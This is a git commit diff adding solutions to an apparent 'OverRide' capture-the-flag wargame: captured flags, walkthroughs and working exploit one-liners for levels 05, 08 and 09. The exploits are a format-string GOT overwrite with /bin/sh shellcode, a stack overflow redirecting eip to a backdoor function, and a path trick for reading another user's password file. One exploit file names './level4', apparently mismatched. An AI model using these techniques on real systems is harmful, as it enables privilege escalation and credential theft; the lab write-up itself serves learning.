level05: done (exploit modified to a better shellcode)
level07: walkthrough done level08: done level09: done
This commit is contained in:
parent
4a88b55e23
commit
a3ea938eb1
1
level05/flag
Normal file
1
level05/flag
Normal file
@ -0,0 +1 @@
|
|||||||
|
h4GtNnaMs2kZFN92ymTr2DcJHAzMfzLW25Ep59mq
|
@ -1,6 +1,4 @@
|
|||||||
#!/bin/sh
|
export SHELLCODE=$(python -c 'print "\x90"*1000+"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"')
|
||||||
|
|
||||||
export SHELLCODE="\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\xb0\x0b\xcd\x80"
|
|
||||||
|
|
||||||
printf '
|
printf '
|
||||||
#include <stdio.h>
|
#include <stdio.h>
|
||||||
@ -8,25 +6,24 @@ printf '
|
|||||||
|
|
||||||
int main(void)
|
int main(void)
|
||||||
{
|
{
|
||||||
printf(\"%%x\", (unsigned int)getenv(\"SHELLCODE\"));
|
printf(\"%%x\", (unsigned int)getenv(\"SHELLCODE\"));
|
||||||
return 0;
|
return 0;
|
||||||
}' > /tmp/env.c
|
}' > /tmp/env.c
|
||||||
|
|
||||||
gcc -m32 /tmp/env.c -o /tmp/a.out
|
gcc -m32 /tmp/env.c -o /tmp/a.out
|
||||||
/tmp/a.out > /tmp/shellcode_addr
|
/tmp/a.out > /tmp/shellcode_addr
|
||||||
|
|
||||||
printf '
|
printf '
|
||||||
with open("/tmp/shellcode_addr") as f: shellcode_addr = f.read()
|
|
||||||
|
|
||||||
exit_addr_low = "\\x08\\x04\\x97\\xe0"[::-1]
|
text = open("/tmp/shellcode_addr").read()
|
||||||
exit_addr_high = "\\x08\\x04\\x97\\xe2"[::-1]
|
|
||||||
shellcode_low = int(shellcode_addr[4:], 16) - 8
|
|
||||||
shellcode_high = int(shellcode_addr[:4], 16) - shellcode_low - 8
|
|
||||||
|
|
||||||
payload = "%%{0}d%%10$hn%%{1}d%%11$hn".format(shellcode_low, shellcode_high)
|
shell_code_low = int(text[4:],16)
|
||||||
exploit = exit_addr_low + exit_addr_high + payload
|
shell_code_high = int(text[:4],16)
|
||||||
|
exit_addr_high = "\\x08\\x04\\x97\\xe2"
|
||||||
|
exit_addr_low = "\\x08\\x04\\x97\\xe0"
|
||||||
|
|
||||||
|
print(exit_addr_low[::-1] + exit_addr_high[::-1] + ("%%" + str(shell_code_low - 8) + "p") + "%%10$hn" + ("%%" + str(shell_code_high - shell_code_low) + "p") + "%%11$hn")
|
||||||
|
|
||||||
print(exploit)
|
|
||||||
' > /tmp/exploit.py
|
' > /tmp/exploit.py
|
||||||
|
|
||||||
(python /tmp/exploit.py; cat) | ./level05
|
(python /tmp/exploit.py; cat) | ./level05
|
||||||
|
14
level05/walkthrough
Normal file
14
level05/walkthrough
Normal file
@ -0,0 +1,14 @@
|
|||||||
|
# Level05
|
||||||
|
|
||||||
|
Using ghidra, we can decompile the code and see that it fills a buffer of 100 bytes using `fgets()`.
|
||||||
|
It will then `xor` every char from 65 to 90 in the ascii table (the upper case alphabet).
|
||||||
|
Finally, this string will be passed as the string format to `printf()` and we can exploit this by overwriting the GOT address of the end `exit()`.
|
||||||
|
First, we need to find where the buffer is printing on the stack. We can simply write `"AAAA"`, followed by a bunch of `%x` to dump the stack and find where it is. Here, it's in the 10th position.
|
||||||
|
Second, we need to get the GOT address of `exit()`. Using gdb, we get an address of `0x80497e0`.
|
||||||
|
Then, we will write our shellcode injection to an environment variable so we can print its address instead of `exit()`.
|
||||||
|
We can print this address with gdb (or using a C program, which is what we did for automation purposes).
|
||||||
|
Once we have all that, we can exploit `printf()` to put the address of our shellcode at the GOT address of `exit()`. For this, we need to split the padding for the address in 2 parts because it would take foreverto print all these bytes of padding.
|
||||||
|
We simply separate the shellcode address in an upper part (4 bytes) and a lower part (4 bytes).
|
||||||
|
For the exit address, we're gonna write 2 bytes by 2 bytes so we need to write the first part of the address to `0x80497e0` and the second part to `0x80497e0 + 2`, or `0x80497e2`.
|
||||||
|
|
||||||
|
For this one, you can copy paste the bash script in `./ressources/exploit.sh`.
|
@ -5,7 +5,7 @@ Basically it has 2 functions, `store_number()` and `read_number()` that writes o
|
|||||||
The issue here is that there's no protection on the write to the buffer (except `index % 3`).
|
The issue here is that there's no protection on the write to the buffer (except `index % 3`).
|
||||||
Since the buffer is on the stack, we could overwrite `eip` and replace it by whatever we want.
|
Since the buffer is on the stack, we could overwrite `eip` and replace it by whatever we want.
|
||||||
First, we will need to determine `eip`'s offset to the buffer. To achieve this, let's use `gdb`.
|
First, we will need to determine `eip`'s offset to the buffer. To achieve this, let's use `gdb`.
|
||||||
We want to break before a call to `store_number` for example (since it has only one argument, `data` buffer will be in `eax`). We then print both the registers and the stack frame (`info registers` and `info frame`).
|
We want to break before a call to `store_number()` for example (since it has only one argument, `data` buffer will be in `eax`). We then print both the registers and the stack frame (`info registers` and `info frame`).
|
||||||
We get the adresses of `eip` and `eax` now let's get the offset. Simply substract both addresses: `0xffffdc3c - 0xffffda74 = 456`.
|
We get the adresses of `eip` and `eax` now let's get the offset. Simply substract both addresses: `0xffffdc3c - 0xffffda74 = 456`.
|
||||||
So, at data[456] we have `eip`.
|
So, at data[456] we have `eip`.
|
||||||
We still have 2 issues with this. The first is that the index we input is multiplied by 4 so we have to input `456/4 = 114`, so the real offset is 114.
|
We still have 2 issues with this. The first is that the index we input is multiplied by 4 so we have to input `456/4 = 114`, so the real offset is 114.
|
||||||
|
1
level08/flag
Normal file
1
level08/flag
Normal file
@ -0,0 +1 @@
|
|||||||
|
fjAwpJNs2vvkFLRebEvAQ2hFZ4uQBWfHRsP62d8S
|
1
level08/ressources/exploit
Normal file
1
level08/ressources/exploit
Normal file
@ -0,0 +1 @@
|
|||||||
|
(python -c 'print "\x10\x98\x04\x08" + "%16930112p" + "%12$n"'; cat) | ./level4
|
@ -20,10 +20,8 @@ int main(int argc, const char **argv, const char **envp)
|
|||||||
FILE *log;
|
FILE *log;
|
||||||
FILE *stream;
|
FILE *stream;
|
||||||
int fd;
|
int fd;
|
||||||
char buf;
|
|
||||||
char dest[104];
|
char dest[104];
|
||||||
|
|
||||||
buf = -1;
|
|
||||||
if (argc != 2)
|
if (argc != 2)
|
||||||
printf("Usage: %s filename\n", *argv);
|
printf("Usage: %s filename\n", *argv);
|
||||||
log = fopen("./backups/.log", "w");
|
log = fopen("./backups/.log", "w");
|
||||||
@ -44,11 +42,11 @@ int main(int argc, const char **argv, const char **envp)
|
|||||||
printf("ERROR: Failed to open %s%s\n", "./backups/", argv[1]);
|
printf("ERROR: Failed to open %s%s\n", "./backups/", argv[1]);
|
||||||
exit(1);
|
exit(1);
|
||||||
}
|
}
|
||||||
while (1) {
|
for (size_t i = 0; i < sizeof(dest); i++) {
|
||||||
buf = fgetc(stream);
|
char c = fgetc(stream);
|
||||||
if (buf == -1)
|
if (c == -1)
|
||||||
break;
|
break;
|
||||||
write(fd, &buf, 1);
|
dest[i] = c;
|
||||||
}
|
}
|
||||||
log_wrapper(log, "Finished back up ", argv[1]);
|
log_wrapper(log, "Finished back up ", argv[1]);
|
||||||
fclose(stream);
|
fclose(stream);
|
||||||
|
16
level08/walkthrough
Normal file
16
level08/walkthrough
Normal file
@ -0,0 +1,16 @@
|
|||||||
|
# Level08
|
||||||
|
|
||||||
|
Using ghidra, we can decompile the code and see that it does a backup of a file that we passed as a parameter (roughly).
|
||||||
|
However, there are a few protections.
|
||||||
|
First, the program `open()` our argument file (here, we want `/home/users/level09/.pass`.
|
||||||
|
Since the binary has the permission for user `level09`, we can `open()` this file.
|
||||||
|
The string `"./backups"` is concatenated to the filepath we pass as a parameter. It will then `open(..., OCREAT ...)` the file that we passed in `av[1]` and write the contents of the original file to this newly created file.
|
||||||
|
However, since the path will have `"./backups"` at the beginning and we want to get the content of `/home/users/level09/.pass`, we need to recreate this file tree in the `/tmp` directory.
|
||||||
|
|
||||||
|
Here is the process:
|
||||||
|
```
|
||||||
|
level08@OverRide:/tmp$ mkdir -p backups/home/users/level09
|
||||||
|
level08@OverRide:/tmp$ ~/level08 /home/users/level09/.pass
|
||||||
|
level08@OverRide:/tmp$ cat backups/home/users/level09/.pass
|
||||||
|
fjAwpJNs2vvkFLRebEvAQ2hFZ4uQBWfHRsP62d8S
|
||||||
|
```
|
1
level09/flag
Normal file
1
level09/flag
Normal file
@ -0,0 +1 @@
|
|||||||
|
j4AunAPDXaJxxWjYEUxpanmvSgRDV3tpA5BEaBuE
|
1
level09/ressources/exploit
Normal file
1
level09/ressources/exploit
Normal file
@ -0,0 +1 @@
|
|||||||
|
(python -c 'print "A"*40 + "\xff\n" + "A"*200 + "\x00\x00\x55\x55\x55\x55\x48\x8c"[::-1]'; cat) | ./level09
|
@ -27,25 +27,25 @@ int handle_msg(void)
|
|||||||
|
|
||||||
char *set_msg(char *msg, int len)
|
char *set_msg(char *msg, int len)
|
||||||
{
|
{
|
||||||
char s[1024];
|
char buff[1024];
|
||||||
|
|
||||||
memset(s, 0, sizeof(s));
|
memset(buff, 0, sizeof(buff));
|
||||||
puts(">: Msg @Unix-Dude");
|
puts(">: Msg @Unix-Dude");
|
||||||
printf(">>: ");
|
printf(">>: ");
|
||||||
fgets(s, 1024, stdin);
|
fgets(buff, 1024, stdin);
|
||||||
return strncpy((char *)msg, s, len);
|
return strncpy(msg, buff, len);
|
||||||
}
|
}
|
||||||
|
|
||||||
int set_username(char *username)
|
int set_username(char *username)
|
||||||
{
|
{
|
||||||
char s[140];
|
char buff[140];
|
||||||
|
|
||||||
memset(s, 0, 128);
|
memset(buff, 0, 128);
|
||||||
puts(">: Enter your username");
|
puts(">: Enter your username");
|
||||||
printf(">>: ");
|
printf(">>: ");
|
||||||
fgets(s, 128, stdin);
|
fgets(buff, 128, stdin);
|
||||||
for (int i = 0; i <= 40 && s[i]; ++i)
|
for (int i = 0; i <= 40 && buff[i]; ++i)
|
||||||
username[i] = s[i];
|
username[i] = buff[i];
|
||||||
return printf(">: Welcome, %s", username);
|
return printf(">: Welcome, %s", username);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
15
level09/walkthrough
Normal file
15
level09/walkthrough
Normal file
@ -0,0 +1,15 @@
|
|||||||
|
# Level09
|
||||||
|
|
||||||
|
Using hexrays, we can decompile the code.
|
||||||
|
Here we have 4 functions:
|
||||||
|
- `handle_msg()` => has 3 variables on the stack. The first one is `char msg[140]`, the second one is `char username[40]` and the last one is `int len = 140`.
|
||||||
|
It calls `set_username(username)` and then `set_msg(msg, len)`.
|
||||||
|
- `set_username()` => write the username through stdin.
|
||||||
|
- `set_msg()` => write the message through stdin in a buffer of 1024 bytes, then copies its content with an `strncpy(msg, buff, len)`
|
||||||
|
The 4th function is a "secret" function called `secret_backdoor()` which is our goal since it `fgets()` and gives our input to `system()`, thus allowing us to run `"/bin/sh"`.
|
||||||
|
There is 1 main vulnerability in this program. In the `set_username()` function, `char *username` is being written to through `fgets(buff, 128, stdin)`, then copy the content of `buff` to `username` through a loop whose stop condition is `i <= 40`. But username has a size of 40 bytes, after what we overflow onto `int len`. Since it allows us to overflow on `len`, we can exploit this to then overflow the `fgets()` in `set_msg()`. We're going to put a value of `0xff` in len and hope it will be enough to overflow on `eip`.
|
||||||
|
Using iterations we found the offset between `msg` and `eip` to be 200 bytes.
|
||||||
|
What we want to do here is fill the stack with 200 bytes and then put the address of our function `secret_backdoor()` in `eip`.
|
||||||
|
|
||||||
|
Here is the command:
|
||||||
|
`(python -c 'print "A"*40 + "\xff\n" + "A"*200 + "\x00\x00\x55\x55\x55\x55\x48\x8c"[::-1]"; cat) | ./level09`
|
Loading…
Reference in New Issue
Block a user